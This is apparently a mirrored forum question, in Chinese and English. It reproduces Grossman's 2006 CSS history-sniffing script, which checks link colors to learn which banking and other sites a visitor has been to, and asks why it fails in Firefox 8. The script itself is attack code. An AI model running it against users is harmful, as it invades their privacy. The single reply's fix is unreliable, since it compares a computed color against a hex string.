Jeremiah Grossman 用于浏览器历史 CSS 的 JavaScript 代码

发布于 2024-12-19 10:04:29 字数 4041 浏览 0 评论 0原文

我正在尝试学习 JavaScript,但对 Jeremiah Grossman 的这段特定代码有疑问,可以在 http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

我相信这是 2006 年的旧帖子。它主要使用 JavaScript 和 CSS 来查找浏览器历史记录中访问过的链接。

<script type="text/javascript">
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
  "http://ajaxian.com/",
  "http://digg.com/",
  "http://english.aljazeera.net/HomePage",
  "http://ha.ckers.org",
  "http://ha.ckers.org/blog/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://slashdot.org/",
  "http://techfoolery.com/",
  "http://weblogs.asp.net/jezell/",
  "http://www.amazon.com/",
  "http://www.aol.com/",
  "http://www.bankofamerica.com/",
  "http://www.bankone.com/",
  "http://www.blackhat.com/",
  "http://www.blogger.com/",
  "http://www.bloglines.com/",
  "http://www.bofa.com/",
  "http://www.capitalone.com/",
  "http://www.cenzic.com",
  "http://www.cgisecurity.com",
  "http://www.chase.com/",
  "http://www.citibank.com/",
  "http://www.cnn.com/",
  "http://www.comerica.com/",
  "http://www.e-gold.com/",
  "http://www.ebay.com/",
  "http://www.etrade.com/",
  "http://www.expedia.com/",
  "http://www.google.com/",
  "http://www.hsbc.com/",
  "http://www.icq.com/",
  "http://www.jailbabes.com",
  "http://www.microsoft.com/",
  "http://www.msn.com/",
  "http://www.myspace.com/",
  "http://www.ntobjectives.com",
  "http://www.passport.net/",
  "http://www.paypal.com/",
  "http://www.sourceforge.net/",
  "http://www.spidynamics.com",
  "http://www.statefarm.com/",
  "http://www.usbank.com/",
  "http://www.wachovia.com/",
  "http://www.wamu.com/",
  "http://www.watchfire.com",
  "http://www.webappsec.org",
  "http://www.wellsfargo.com/",
  "http://www.whitehatsec.com",
  "http://www.xanga.com/",
  "http://www.yahoo.com/",
  "http://seoblackhat.com/",
  "http://www.alexa.com/",
  "http://www.youtube.com/",
  "https://banking.wellsfargo.com/",
  "https://commerce.blackhat.com/",
  "https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

  var d = document.createElement('div');
  d.id = 'xss_flag';
  document.body.appendChild(d);

  var d = document.createElement('table');
  d.border = 0;
  d.cellpadding = 5;
  d.cellspacing = 10;
  d.width = '90%';
  d.align = 'center';
  d.id = 'data';
  document.body.appendChild(d);

  /* launch steal history */

if (is_mozilla) {
  stealHistory();
}

}

function stealHistory() {

  // loop through websites and check which ones have been visited
  for (var i = 0; i < websites.length; i++) {          
         var link = document.createElement("a");       
         link.id = "id" + i;       
         link.href = websites[i];       
         link.innerHTML = websites[i];              
         document.body.appendChild(link);       
         var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");       
         document.body.removeChild(link);       
// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check
  
  } // end visited website loop

} // end stealHistory method
</script>

然而,6 小时后,我试图让它正常工作,但遇到了问题。我发现它不起作用的原因是下面的 if()

// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check

在 if() 之前,我检查了 var 'color' 中设置的颜色,并且数组中每个元素的所有链接都返回 `rgb(0, 0, 238)?我不确定这些颜色的含义以及如何将其变为 0,0,255 以便 if() 起作用?

我猜我可能有最新的 Firefox 版本 8.0.1?我访问过一些链接,因此它们确实存在于我的浏览器历史记录中,但返回的颜色没有改变? 任何帮助将不胜感激,感谢您的宝贵时间。

I am trying to learn JavaScript and am having a problem with this particular code from Jeremiah Grossman can be found at http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html.

Its an old post 2006 I believe. It basicly uses JavaScript and CSS to find out visited links in your browser history.

<script type="text/javascript">
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
  "http://ajaxian.com/",
  "http://digg.com/",
  "http://english.aljazeera.net/HomePage",
  "http://ha.ckers.org",
  "http://ha.ckers.org/blog/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://slashdot.org/",
  "http://techfoolery.com/",
  "http://weblogs.asp.net/jezell/",
  "http://www.amazon.com/",
  "http://www.aol.com/",
  "http://www.bankofamerica.com/",
  "http://www.bankone.com/",
  "http://www.blackhat.com/",
  "http://www.blogger.com/",
  "http://www.bloglines.com/",
  "http://www.bofa.com/",
  "http://www.capitalone.com/",
  "http://www.cenzic.com",
  "http://www.cgisecurity.com",
  "http://www.chase.com/",
  "http://www.citibank.com/",
  "http://www.cnn.com/",
  "http://www.comerica.com/",
  "http://www.e-gold.com/",
  "http://www.ebay.com/",
  "http://www.etrade.com/",
  "http://www.expedia.com/",
  "http://www.google.com/",
  "http://www.hsbc.com/",
  "http://www.icq.com/",
  "http://www.jailbabes.com",
  "http://www.microsoft.com/",
  "http://www.msn.com/",
  "http://www.myspace.com/",
  "http://www.ntobjectives.com",
  "http://www.passport.net/",
  "http://www.paypal.com/",
  "http://www.sourceforge.net/",
  "http://www.spidynamics.com",
  "http://www.statefarm.com/",
  "http://www.usbank.com/",
  "http://www.wachovia.com/",
  "http://www.wamu.com/",
  "http://www.watchfire.com",
  "http://www.webappsec.org",
  "http://www.wellsfargo.com/",
  "http://www.whitehatsec.com",
  "http://www.xanga.com/",
  "http://www.yahoo.com/",
  "http://seoblackhat.com/",
  "http://www.alexa.com/",
  "http://www.youtube.com/",
  "https://banking.wellsfargo.com/",
  "https://commerce.blackhat.com/",
  "https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

  var d = document.createElement('div');
  d.id = 'xss_flag';
  document.body.appendChild(d);

  var d = document.createElement('table');
  d.border = 0;
  d.cellpadding = 5;
  d.cellspacing = 10;
  d.width = '90%';
  d.align = 'center';
  d.id = 'data';
  document.body.appendChild(d);

  /* launch steal history */

if (is_mozilla) {
  stealHistory();
}

}

function stealHistory() {

  // loop through websites and check which ones have been visited
  for (var i = 0; i < websites.length; i++) {          
         var link = document.createElement("a");       
         link.id = "id" + i;       
         link.href = websites[i];       
         link.innerHTML = websites[i];              
         document.body.appendChild(link);       
         var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");       
         document.body.removeChild(link);       
// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check
  
  } // end visited website loop

} // end stealHistory method
</script>

However, after 6 hours I am trying to get it to work properly but I have problems. The reason I found it not working is the if() below

// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check

Before the if() I checked what color was being set in the var 'color' and all the links for each element in the array is returning `rgb(0, 0, 238)? I am not sure what these colors mean and how to get it to 0,0,255 so the if() will work?

I am guessing it could be that I have latest Firefox version 8.0.1? I have visited few of the links so they are defo in my browser history yet the color returned does not change?
Any help would be greatly appreciated thanks for your time.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

梦一生花开无言 2024-12-26 10:04:29

如果您使用 css 定义 a:link, a:visited 颜色,您将可以轻松检查,例如,看看是否有帮助。

<style>
  a:link{color:green}
  a:visited {color:#993300}
 </style>


    // check for visited       
     if (color == "#993300") {           
      document.write('' + websites[i] + '');
    } // end visited check

if you define your a:link, a:visited colors say using css you will then beable to easly check for example, see if that helps.

<style>
  a:link{color:green}
  a:visited {color:#993300}
 </style>


    // check for visited       
     if (color == "#993300") {           
      document.write('' + websites[i] + '');
    } // end visited check
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文